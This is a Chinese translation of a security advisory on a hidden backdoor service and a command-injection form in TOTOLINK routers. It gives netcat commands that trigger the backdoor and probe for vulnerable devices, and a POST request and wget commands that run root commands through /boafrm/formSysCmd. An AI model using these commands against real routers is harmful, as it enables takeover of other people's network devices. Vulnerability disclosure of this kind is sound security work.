TOTOLINK路由器后门和远程代码执行漏洞


0x01 产品说明

TOTOLINK是ipTime的兄弟品牌,韩国SOHO市场占有率达80%。TOTOLINK产品线覆盖:路由器、WiFi接入点及其他网络设备。 旗下产品在世界范围内都有销售。

0x02 漏洞综述

在TOTOLINK多款产品中,都存在一个后门,无论是最新固件的分析还是路由器的实测,都确认了该漏洞的存在。

并且,至少有8款TOTOLINK产品受到该后门的影响,我们分析的固件取自TOTOLINK.net以及TOTOLINK.cn:

通过向WAN IP 发送一个精心构造的请求,攻击者就能过通过互联网打开设备的HTTP 远程管理界面。这样,攻击者可以继续通过利用隐藏的/boafrm/formSysCmd表单,借助HTTP远程管理界面来远程执行代码,从而绕过认证系统。

我们估计大约有50000台路由器受此后门影响。

0x03 后门详情

当路由器启动时,/etc/init.d/rcS脚本将执行二进制程序/bin/skt:

cat etc/init.d/rcS
[...]
# start web server
boa
skt&

Skt是一个小的MIPS二进制程序,实际上就是一个客户机/服务器程序。参数如下:

server: ./skt
client: ./skt host cmd

该二进制程序也可以在x86_64机器上运行,不过需要借助QEMU,具体命令为:

sudo chroot . ./qemu-mips-static ./bin/skt。

在运行skt时,如果不带参数,则是作为一个TCP服务进程,监听所有接口(包括WAN)的5555端口;如果带参数则是作为一个客户端,发送TCP数据包到指定IP的5555端口,当然,数据包中存放的是命令。

Skt程序有两个主要功能:

TcpClient:

它将向一个远程IP地址5555端口发送一个TCP数据包,数据包内含有hel,xasf、oki,xasf或者 bye,xasf,具体取决于使用的参数是1、2或3。

TcpServer:

TcpServer是一个echo服务器,用来侦听5555/tcp端口,并将收到的字符串与硬编码的字符串("hel,xasf", "oki,xasf")进行比较。

问题出现在sub_400B50函数中:

Sub_400B50的伪代码

int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) { if (strcmp(str, "hel,xasf") == 0) { system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } else { if (strcmp(str, "oki,xasf") == 0) { system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } } [...] }

这个函数是用来比较字符串的,其中一个字符串来自于用户,另两个字符串是硬编码形式的字符串,并根据比较的结果来执行system()。

让该二进制程序在TOTOLINK设备上运行,通过分析发现,它的服务器模式能够响应三条命令,即悄悄在后台执行system()函数:

在这个后门中的iptables命令被硬编码为“eth1”。 并且,只有那些使用动态主机配置协议和静态IP连接的设备才会受到影响,这是因为该WAN IP 被绑定到了eth1设备上面。

对于那些使用PPPoE连接的设备,是不会受到该后门影响的,因为这时WAN IP 被绑定到了ppp设备上面,具体如下所示:totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)

攻击者可以使用下面这些简单的netcat命令来测试该后门。

为了通过互联网打开HTTP远程管理界面,可以使用如下所示的命令:

echo -ne "hel,xasf" | nc <ip> 5555

为了通过互联网关闭HTTP远程管理界面,可以使用如下所示的命令:

echo -ne "oki,xasf" | nc <ip> 5555

下面是用于探测具有漏洞的路由器的命令:

echo -ne "GET / HTTP/1.1" | nc <ip> 5555

if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.

用这个后门打开HTTP远程管理界面的方法:

0x04 在管理接口中的RCE漏洞

最新固件中的隐形表单(hidden form)使得攻击者能够以root用户权限通过发送HTTP请求来执行命令:

POST /boafrm/formSysCmd HTTP/1.1

sysCmd=<cmd>&apply=Apply&msg=

攻击者可以使用wget在远程设备上面执行命令:

wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd

比如,向管理接口发送这个HTTP请求就能够重新启动该设备:

POST /boafrm/formSysCmd HTTP/1.1

sysCmd=reboot&apply=Apply&msg=

下面这条wget命令也能够完成同样的任务:

wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd

原文:https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html